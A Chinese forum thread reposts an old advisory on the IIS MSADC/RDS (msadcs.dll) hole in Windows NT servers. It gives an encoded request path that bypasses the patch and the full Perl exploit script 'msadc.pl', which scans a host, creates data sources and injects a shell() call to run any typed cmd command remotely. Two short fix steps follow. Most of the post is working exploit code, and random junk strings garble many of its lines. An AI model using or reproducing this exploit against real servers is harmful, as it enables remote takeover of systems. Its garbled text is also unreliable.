社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168193阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) VotI5O $  
OQDx82E  
涉及程序: 7j"B-k#  
Microsoft NT server {q&A/  
T<RWz  
描述: _HAr0R8BY  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 GF0Utp:Zf;  
clr]gib  
详细: qLB(Th\&'  
如果你没有时间读详细内容的话,就删除: %F<3_#Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll fJi?~[5<  
有关的安全问题就没有了。 Nt[&rO3s  
RC!T1o~L  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 eqpnh^0}d  
v^ 1x}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0JhUncx  
关于利用ODBC远程漏洞的描述,请参看: DyQvk  
Tn$| Xa+:s  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm By<~h/uJ  
; d}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q}#H|@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  M|>-q  
pf0uwXo  
这里不再论述。 'b_SQ2+A  
w Qp{z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: JZ-M<rcC  
PU\@^)$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset HGW;]8xl  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! TJs@V>,  
puGy`9eKv1  
);^{;fLy%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" PmDar<m  
1{wOjq(4  
#!perl &MP8.( u `  
# DzY`O@D[  
# MSADC/RDS 'usage' (aka exploit) script zx5t gZd,N  
# 9K{0x7~  
# by rain.forest.puppy hhOrO<(  
# 4$v08z Z  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6r)qM)97  
# beta test and find errors! e1K{*h  
v=+>ids  
use Socket; use Getopt::Std; ':,p6  
getopts("e:vd:h:XR", \%args); nZUBblRJ)  
!q*]_1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; PPNZ(j   
/?:]f  
if (!defined $args{h} && !defined $args{R}) { 6z+*H7Qz  
print qq~ 1Q9e S&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } NSAp.m   
-h <host> = host you want to scan (ip or domain) _ "[O=h:  
-d <seconds> = delay between calls, default 1 second -Cf< #'x_  
-X = dump Index Server path table, if available p"J\+R  
-v = verbose %5 ?0+~  
-e = external dictionary file for step 5 dp>LhTLc  
Jm G)=$,  
Or a -R will resume a command session `LVX|l62  
wmgKh)`@_{  
~; exit;} ,vUMy&AV  
%g%#=a;]q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ehls:)F  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} `LCxxpHi|  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} G(y@Tor+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .;9I:YB$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} WqRg/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Nv_"?er+y  
uEkUK|  
if (!defined $args{R}){ $ret = &has_msadc; _}wy|T&7k&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} uCpk1d  
Z(-@8=0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8'Ph/L,  
. "cmd /c "; FA;uu\  
$in=<STDIN>; chomp $in; 1PJ8O|Z t8  
$command="cmd /c " . $in ; KcX] g*wy  
nA^UF_rD-  
if (defined $args{R}) {&load; exit;} Yv jRJ  
nXqZkZE\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; {sL(PS.z  
&try_btcustmr; 9l :Bum)9  
p,+$7f1S  
print "\nStep 2: Trying to make our own DSN..."; geu8$^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; A?*_14&  
i<nUp1r(  
print "\nStep 3: Trying known DSNs..."; ryp@<}A]!d  
&known_dsn; nr<&j#!L  
j*jO809%^  
print "\nStep 4: Trying known .mdbs..."; p V^hZ.  
&known_mdb; r$~ f[cA  
rz%=qY  
if (defined $args{e}){ q@x{6zj  
print "\nStep 5: Trying dictionary of DSN names..."; ^g2p!7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T!N,1"r  
L7tC?F]}SK  
print "Sorry Charley...maybe next time?\n"; @cZNoD  
exit; fu95-)M  
e'uI~%$NJL  
############################################################################## /a$RJ6t&3  
dF%sD|<)  
sub sendraw { # ripped and modded from whisker 4X2/n  
sleep($delay); # it's a DoS on the server! At least on mine... 3yu{Q z5y,  
my ($pstr)=@_; uiIY,FL$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || agFWye  
die("Socket problems\n"); ggUJ -M'2h  
if(connect(S,pack "SnA4x8",2,80,$target)){ )Aky:kM$  
select(S); $|=1; |:i``gFj  
print $pstr; my @in=<S>; s:y=X$&M  
select(STDOUT); close(S); 5? `*i"  
return @in; r9@Q="J_)  
} else { die("Can't connect...\n"); }} 3%<xM/#  
nx >PZb  
############################################################################## \$Nx`d aFi  
9ci=]C5o3K  
sub make_header { # make the HTTP request T&=1IoOg  
my $msadc=<<EOT FU|c[u|z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KN;b+`x;M  
User-Agent: ACTIVEDATA PXk+Vi,%k  
Host: $ip 0 ej!!WP  
Content-Length: $clen Z`5v6"Na  
Connection: Keep-Alive i# 1:DiF  
Q2)z1'Wv  
ADCClientVersion:01.06 d aIt `}s  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 joh=0nk;D  
~'e/lX9g-  
--!ADM!ROX!YOUR!WORLD! &z r..i4O  
Content-Type: application/x-varg c"3 a,&  
Content-Length: $reqlen H|H!VPof]  
eM*@zo<-  
EOT qsUlfv9L6  
; $msadc=~s/\n/\r\n/g; !'No5  
return $msadc;} $*bd})y)I  
L "L@4 B  
############################################################################## p-zWfXn!P  
:mU,g|~55  
sub make_req { # make the RDS request 5Y 4W:S  
my ($switch, $p1, $p2)=@_; ~B%=g)w  
my $req=""; my $t1, $t2, $query, $dsn; P"%i 4-S  
WVp7H  
if ($switch==1){ # this is the btcustmr.mdb query Kv[,!P"Y  
$query="Select * from Customers where City=" . make_shell(); nl|}_~4U  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +%G*)8N3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} iXc-_V6  
X 5LI  
elsif ($switch==2){ # this is general make table query 2yhtJ9/  
$query="create table AZZ (B int, C varchar(10))"; EnJAHgRV;e  
$dsn="$p1";} SxYX`NQ  
`J^J_s  
elsif ($switch==3){ # this is general exploit table query yG5T;O&  
$query="select * from AZZ where C=" . make_shell(); Af:4 XSO6  
$dsn="$p1";} !6ZkLE[XJ<  
x[3kCa|4A  
elsif ($switch==4){ # attempt to hork file info from index server _^'fp  
$query="select path from scope()"; b<qv /t)$  
$dsn="Provider=MSIDXS;";} g83!il\  
M=$y_9#  
elsif ($switch==5){ # bad query @4 m_\]Wy  
$query="select"; B&_62`  
$dsn="$p1";} .9WJ/RKZ\D  
d{@X-4k :  
$t1= make_unicode($query); }> k9]Y  
$t2= make_unicode($dsn); *Wv]DV=\  
$req = "\x02\x00\x03\x00"; >De\2gbJ  
$req.= "\x08\x00" . pack ("S1", length($t1)); nJny9g  
$req.= "\x00\x00" . $t1 ; *usfJ-  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6I(y`pJ  
$req.= "\x00\x00" . $t2 ; wHk4BWg-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;8;nY6Ie  
return $req;} W|3XD-v@  
|C@)#.nm[  
############################################################################## n *%<!\gJ  
^:K"Tv.=  
sub make_shell { # this makes the shell() statement B2%)G$B  
return "'|shell(\"$command\")|'";} YMwMaU)K,  
mCe,(/>l+  
############################################################################## LWc}j`Wd  
u4NMJnX  
sub make_unicode { # quick little function to convert to unicode |HJdpY>Uu  
my ($in)=@_; my $out; nbMnqkNb  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^q@.yL  
return $out;} j|9;") 1  
u#?K/sU  
############################################################################## ;g: TsYwM  
 Z $Ynar  
sub rdo_success { # checks for RDO return success (this is kludge) JQ'NFl9<  
my (@in) = @_; my $base=content_start(@in); `f}c 1  
if($in[$base]=~/multipart\/mixed/){ @#1k+tSA,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Rk56H  
return 0;} C<2vuZD  
H=z@!rJc.  
############################################################################## ~Rk%M$E9  
(F]f{8  
sub make_dsn { # this makes a DSN for us Ooz+V;#Q  
my @drives=("c","d","e","f"); gpsEN(.w  
print "\nMaking DSN: "; RG[3LX/  
foreach $drive (@drives) { s d>&6 R^  
print "$drive: "; JJq= {;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . g4P059  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,2DKphh  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {*As-Y:'F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Vp\BNq_!s  
return 0 if $2 eq "404"; # not found/doesn't exist qiiX49}{  
if($2 eq "200") { \y{Bnp5h  
foreach $line (@results) { \szx.IZT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} fzRzkn:=  
} return 0;} b~  
\i}n1Qd  
############################################################################## S& 8gZ~B  
.t4IR =Z  
sub verify_exists { JSt%L|}Y  
my ($page)=@_; 3Tg  
my @results=sendraw("GET $page HTTP/1.0\n\n"); iDlIx8PI  
return $results[0];} "wmQ,=  
xvQJTR k  
############################################################################## "2)<'4q5)  
)?joF)  
sub try_btcustmr { YQ g03i  
my @drives=("c","d","e","f"); x"K<@mR5G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); FEw51a+V  
Hu|NS{Ke-  
foreach $dir (@dirs) { gfw,S;  
print "$dir -> "; # fun status so you can see progress "2}04b|"  
foreach $drive (@drives) { muo(bR8  
print "$drive: "; # ditto {N[IjY  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Pon 2!$  
$reqlenlen=length( "$reqlen" ); '0GCaL*Sd  
$clen= 206 + $reqlenlen + $reqlen; <33[qt~  
cBBc^SR  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 'ADt<m_$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &Hb6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} = \AI92  
|8 c3%jve  
############################################################################## vr/V_  
n'v[[bmu  
sub odbc_error { 'W3>lAPx!  
my (@in)=@_; my $base; *4Y1((1k  
my $base = content_start(@in); f}0(qN/G  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 2B3H -`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~dC)EG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZwB< {?  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Mi,yg=V  
return $in[$base+4].$in[$base+5].$in[$base+6];} nZ>qM]">u  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4 FW~Y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hU3c;6]3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >K1)XP  
fAm^-uq[  
############################################################################## SGre[+m~m  
G`9Ud  
sub verbose { _(5SiK R  
my ($in)=@_; /@X!  
return if !$verbose; K>l$Y#x}k  
print STDOUT "\n$in\n";} 8s-y+M@.  
E'j>[C:U  
############################################################################## rE;*MqYt&  
' 7+x,TszI  
sub save {  gPh;  
my ($p1, $p2, $p3, $p4)=@_; <iuESeDG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; LdwWB `L  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; f <fa +fB  
close OUT;} [^ $nt  
zUXQl{  
############################################################################## ?OW 4J0B'  
N9tH0  
sub load { m~'!  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; M(KsLu1   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @)1>ba  
@p=<IN>; close(IN); 7n9&@D3 :P  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %O B:lAeJ  
$target= inet_aton($ip) || die("inet_aton problems"); -KhNsUQk  
print "Resuming to $ip ..."; .T 6 NMIp*  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; zsFzF`[k  
if($p[1]==1) { njtz,qt_;G  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~7+7{9g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1fm4:xHH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q^prHn*@  
if (rdo_success(@results)){print "Success!\n";} C-E~z{  
else { print "failed\n"; verbose(odbc_error(@results));}} c[J?`8  
elsif ($p[1]==3){ %V71W3>6WS  
if(run_query("$p[3]")){ qq.M]?Z  
print "Success!\n";} else { print "failed\n"; }} -0r 0M )  
elsif ($p[1]==4){ \@;$xdA$  
if(run_query($drvst . "$p[3]")){ y iO!ZT  
print "Success!\n"; } else { print "failed\n"; }}  a?S5 =  
exit;} 4&X D  
%c"PMTq(  
############################################################################## ?g^42IYG  
TwlX'iI_;  
sub create_table { 3 9to5 s,  
my ($in)=@_; *;t\!XDgp  
$reqlen=length( make_req(2,$in,"") ) - 28; ]xC#XYE:dy  
$reqlenlen=length( "$reqlen" ); WJWi'|C4  
$clen= 206 + $reqlenlen + $reqlen; .7&V@A7  
my @results=sendraw(make_header() . make_req(2,$in,"")); .a2b&}/.d  
return 1 if rdo_success(@results); ?C)a0>L  
my $temp= odbc_error(@results); verbose($temp); SW5V:|/  
return 1 if $temp=~/Table 'AZZ' already exists/; Gu+9R>  
return 0;} %]7'2  
01=nS?  
############################################################################## */c4b:s  
>*s_)IH2  
sub known_dsn { k%uR!cL  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,1/O2aQ%\0  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", %"-bG'Yc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "| Oj!&0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); LNp{lC  
5.ibH  
foreach $dSn (@dsns) { -Zq\x'  
print "."; #1*#3p9UL  
next if (!is_access("DSN=$dSn")); q9Zp8&<EqH  
if(create_table("DSN=$dSn")){ f~Y;ZvB  
print "$dSn successful\n"; G0#<SJ,)  
if(run_query("DSN=$dSn")){ ~,ZU+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =LXjq~p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /pY-how%!  
%,T=|5  
############################################################################## >~@O\n-t  
S[ch/  
sub is_access { @k=UB&?I  
my ($in)=@_; lXtsnQOOK  
$reqlen=length( make_req(5,$in,"") ) - 28; P:D;w2'Q  
$reqlenlen=length( "$reqlen" ); UE9RrfdN  
$clen= 206 + $reqlenlen + $reqlen; ;~D$ rT  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q g~cYwX  
my $temp= odbc_error(@results); mR["xDHD  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); /H4Z.|@  
return 0;} nTsKJX%\  
'9{`Czc(Gb  
############################################################################## +3uPHpMB-  
+*RaX (&  
sub run_query { e5RF6roxO  
my ($in)=@_; vB74r]'F  
$reqlen=length( make_req(3,$in,"") ) - 28; |I[/Fl:  
$reqlenlen=length( "$reqlen" ); [)+wke9  
$clen= 206 + $reqlenlen + $reqlen; e ,kxg^  
my @results=sendraw(make_header() . make_req(3,$in,"")); :FTx#cZ  
return 1 if rdo_success(@results); "I3 #/~q  
my $temp= odbc_error(@results); verbose($temp); $RH.  
return 0;} vtq$@#?~ b  
O&dBLh!G  
############################################################################## c@3mfc{  
!"2S'oQKS  
sub known_mdb { .n n&K}h  
my @drives=("c","d","e","f","g"); (Bq^ D9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N0DzFXp  
my $dir, $drive, $mdb; )J*M{Gm6i  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AH{#RD  
'-U&S  
# this is sparse, because I don't know of many SR$ 'JGfp  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7}:+Yx  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3 ,zW6 -}  
"\\system32\\certmdb.mdb", 0iYo&q'n  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lZAXDxhnT  
NSa6\.W)  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", fB80&G9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", V&*|%,q   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", {J1iheuS}  
"\\cfusion\\cfapps\\security\\realm_.mdb", }?\^^v h7  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #M%K82"  
"\\cfusion\\database\\cfexamples.mdb", .TMLg(2hgv  
"\\cfusion\\database\\cfsnippets.mdb", vgE -t  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", h;@c%Vm  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @U3:9~Q  
"\\cfusion\\brighttiger\\database\\cleam.mdb", +Xp1=2Mq  
"\\cfusion\\database\\smpolicy.mdb",  qJ sH  
"\\cfusion\\database\cypress.mdb", dz?On\66  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |1GOm=GNK  
"\\website\\cgi-win\\dbsample.mdb", *`} !{ Mb  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", FDFwx|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -woFKAy`  
); #these are just 'hE'h?-7  
foreach $drive (@drives) { B0U(B\~Y  
foreach $dir (@dirs){ ?&'Kw>s@  
foreach $mdb (@sysmdbs) { e|?eY)_  
print "."; ^U5Qb"hz  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9: .m]QN  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ? cXW\A(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /ej[oR  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; j+fib} 8}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $*VZa3B\  
{,i-V57-h  
foreach $drive (@drives) { tKS[  
foreach $mdb (@mdbs) { IU<lF)PF$  
print "."; )Gavjj&uJ  
if(create_table($drv . $drive . $dir . $mdb)){ :hT.L3n,  
print "\n" . $drive . $dir . $mdb . " successful\n"; c<,LE@ V  
if(run_query($drv . $drive . $dir . $mdb)){ d<+hQ\BF,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; N8pV[\f  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?2l `%l5(  
} Th$Z9+()  
WW.@&#S5  
############################################################################## _P=+\ [|y  
d#TA20`  
sub hork_idx { n\)1Bz  
print "\nAttempting to dump Index Server tables...\n"; `LNhamp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; j g//I<D  
$reqlen=length( make_req(4,"","") ) - 28; J$sBfO D  
$reqlenlen=length( "$reqlen" ); 0^R, d M  
$clen= 206 + $reqlenlen + $reqlen; :_y!p  
my @results=sendraw2(make_header() . make_req(4,"","")); T>]T=  
if (rdo_success(@results)){ =6qTz3t  
my $max=@results; my $c; my %d; rf-yUH]&S  
for($c=19; $c<$max; $c++){ r<vy6  
$results[$c]=~s/\x00//g; q\}+]|nGs  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; H<[~V0=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `vMhrn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5VP0Xa ~  
$d{"$1$2"}="";} 8q%y(e  
foreach $c (keys %d){ print "$c\n"; } Pw| h`[h  
} else {print "Index server doesn't seem to be installed.\n"; }} L-}J=n\  
J,:&U wkv  
############################################################################## Bcarx<P-p  
FLs$  
sub dsn_dict { f+Acs*. GQ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); C+uW]]~I)  
while(<IN>){ |4g0@}nr+W  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (5 @H  
next if (!is_access("DSN=$dSn")); Y*$>d/E  
if(create_table("DSN=$dSn")){ ka!v(j{E  
print "$dSn successful\n"; 5e$1KN`  
if(run_query("DSN=$dSn")){ \7i_2|w  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { u1L^INo/  
print "Something's borked. Use verbose next time\n";}}} Jn^b}bk t  
print "\n"; close(IN);} 3r, ~-6  
u*v<dsGQ  
############################################################################## ?*yyne  
G/Nc@XG\  
sub sendraw2 { # ripped and modded from whisker uZtN,Un  
sleep($delay); # it's a DoS on the server! At least on mine... @U18Dj[  
my ($pstr)=@_; &G\mcstX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8k95IJR1  
die("Socket problems\n"); -z~!%4 a  
if(connect(S,pack "SnA4x8",2,80,$target)){ sa4w.9O1GS  
print "Connected. Getting data"; jOVF+9M  
open(OUT,">raw.out"); my @in; ~<f[7dBv  
select(S); $|=1; print $pstr; l@Vv%w9H  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} oDV6[e  
close(OUT); select(STDOUT); close(S); return @in; m9oOH5@K~  
} else { die("Can't connect...\n"); }} xy[#LX)RW  
/3,Lp-kp  
############################################################################## NDP" @  
:${tts2g  
sub content_start { # this will take in the server headers Q0Ft.b  
my (@in)=@_; my $c; =&}_bd/]  
for ($c=1;$c<500;$c++) { k_L`  
if($in[$c] =~/^\x0d\x0a/){ u*G<?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ##=$ $1Ki  
else { return $c+1; }}} Si>38vCJ*  
return -1;} # it should never get here actually Ztg_='n  
+ODua@ULFB  
############################################################################## Z-Qp9G'   
SOhM6/ID2/  
sub funky { "0PrdZMx  
my (@in)=@_; my $error=odbc_error(@in); \]V:>=ry>  
if($error=~/ADO could not find the specified provider/){ IibrZ/n6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Q+=pP'cV  
exit;} 1j$\ 48Z  
if($error=~/A Handler is required/){ \~l_w ,Poo  
print "\nServer has custom handler filters (they most likely are patched)\n"; &)mZ~cPU3  
exit;} 9pqsr~  
if($error=~/specified Handler has denied Access/){ ZpVkgX4  
print "\nServer has custom handler filters (they most likely are patched)\n"; Nv7-6C6<  
exit;}} yx5e  
::oFL#+  
############################################################################## Y=P*   
Ev5~= ]  
sub has_msadc { y|}~"^+T  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); n"Ie>  
my $base=content_start(@results); |nZ^RCHog  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2+gbMd4n  
return 0;} ]=00<~ l*q  
[j+:2@  
######################## I "AjYv4R  
IC0L&;En  
xmv %O&0^}  
解决方案: AU$~Ap*rsa  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll TlS? S+  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 OoSk^U)  
b_31 \  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五